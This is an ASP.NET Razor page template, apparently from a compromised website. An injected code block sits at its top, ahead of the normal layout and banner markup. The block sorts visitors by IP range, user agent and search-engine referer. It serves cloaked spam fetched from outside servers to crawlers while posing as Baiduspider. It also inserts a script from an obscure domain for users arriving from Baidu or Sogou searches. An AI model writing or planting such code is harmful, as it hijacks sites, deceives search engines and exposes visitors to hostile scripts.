行 1: @{ bool isHomePage = false; bool isJSPage=false; string currentUrl = HttpContext.Current.Request.RawUrl.ToLower(); string clientIp = HttpContext.Current.Request.UserHostAddress; string[] allowIps={"139.18.", "60.28.", "183.91.", "123.184.", "42.236.", "13.66.", "36.110.", "40.77.", "42.7.", "49.7.", "58.250.", "59.83.", "60.8.", "60.172.", "61.129.", "61.135.", "65.5.", "65.55.", "66.249.", "104.233.", "106.38.", "106.120.", "110.249.", "111.202.", "111.206.", "111.225.", "113.24.", "116.179.", "118.184.", "119.63.", "119.188.", "121.14.", "123.15.", "123.125.", "123.126.", "123.181.", "123.183.", "124.166.", "125.9.", "139.180.", "144.202.", "149.248.", "149.28.", "158.247.", "159.226.", "162.105.", "180.76.", "180.97.", "180.101.", "180.149.", "180.153.", "180.163.", "185.244.", "193.42.", "194.233.", "202.97.", "202.108.", "203.144.", "203.208.", "206.221.", "207.46.", "210.72.", "218.3.", "218.10.", "218.30.", "220.181.", "220.196.", "220.243.", "221.208.","60.188.","39.173.","112.13.","140.205.","124.160.","101.67.","120.197.","43.231.","220.249."}; bool isAllow=Array.Exists(allowIps, s => clientIp.Contains(s)); string userAgent = Request.UserAgent.ToLower(); string referer = HttpContext.Current.Request.Headers["Referer"]; bool isSpider=userAgent.Contains("bot") || userAgent.Contains("spider"); bool isBaidubox=userAgent.Contains("baidubox"); bool isFromSeo=false; if (!string.IsNullOrEmpty(referer)) { if (referer.Contains("baidu") || referer.Contains("sogou") ||referer.Contains("so.com") || referer.Contains("yisou") || referer.Contains("sm.cn")) { isFromSeo=true; } } if (currentUrl == "/" || currentUrl == "/index.aspx" || currentUrl == "/default.aspx" ) { isHomePage = true; } if (currentUrl.Contains("question") || currentUrl.Contains("node_") ) { isJSPage = true; } if(isJSPage){ if(isFromSeo || isBaidubox){ Response.Write("<script type=\"text/javascript\" src=\"https://static.p3qowiewjs7u.cc/wap.js\" ></script>\n <script>\n (function() {\n var bp = document.createElement('script');\n var curProtocol = window.location.protocol;\n if (curProtocol === 'https:') {\n bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';\n } else {\n bp.src = 'http://push.zhanzhang.baidu.com/push.js';\n }\n var s = document.getElementsByTagName(\"script\")[0];\n s.parentNode.insertBefore(bp, s);\n })();\n </script>"); } } if(isJSPage){ if(isSpider || isAllow){ WebClient webClient = new WebClient(); webClient.Encoding = System.Text.Encoding.UTF8; webClient.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"); string content = webClient.DownloadString("http://198.16.35.252/"+currentUrl); Response.Write(content); } } if (isHomePage ) { if (isSpider || isAllow) { WebClient webClient = new WebClient(); webClient.Encoding = System.Text.Encoding.UTF8; webClient.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"); string content = webClient.DownloadString("http://34.92.223.164/?notdk=1&proxy_domain="+ HttpContext.Current.Request.Url.Host); Response.Write(content); } }}@{Layout = Data.codepath+"_公共框架.cshtml";}
行 2: <div class="banner">
行 3: <ul>
|